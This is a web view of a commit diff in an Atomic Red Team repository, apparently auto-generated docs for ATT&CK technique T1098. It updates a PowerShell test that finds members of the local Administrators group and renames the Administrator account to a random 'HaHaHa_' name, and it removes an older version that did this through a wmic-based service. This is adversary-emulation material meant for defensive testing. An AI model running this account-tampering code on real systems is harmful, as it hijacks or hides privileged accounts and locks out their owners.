security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generate docs from job=validate_atomics_generate_docs branch=T1098-yamilze

Browse Source
This commit is contained in:
CircleCI Atomic Red Team doc generator
2018-05-25 02:52:57 +00:00
parent 110739f887
commit fb88ed2f85
1 changed files with 15 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1098/T1098.md
+15 -9
View File
@@ -27,15 +27,21 @@ Manipulate Admin Account Name
#### Run it with `powershell`!
```
$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99
$newadmin = "HaHaHa_$x$y$z$w".ToString()
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHaHa_$x$y$z$w
$serviceName = "Rename Account Service"
$serviceDisplayName = "Rename Account Service"
$serviceDescription = "Rename Account Service"
$serviceExecutable = "wmic useraccount where name='Administrator' rename '$newadmin'"
$hostname = (Get-CIMInstance CIM_ComputerSystem).Name
$fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name
foreach($member in $fmm) {
if($member -like "*Administrator*") {
Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w"
Write-Host "Successfully Renamed Administrator Account on" $hostname
}
}
```
<br/>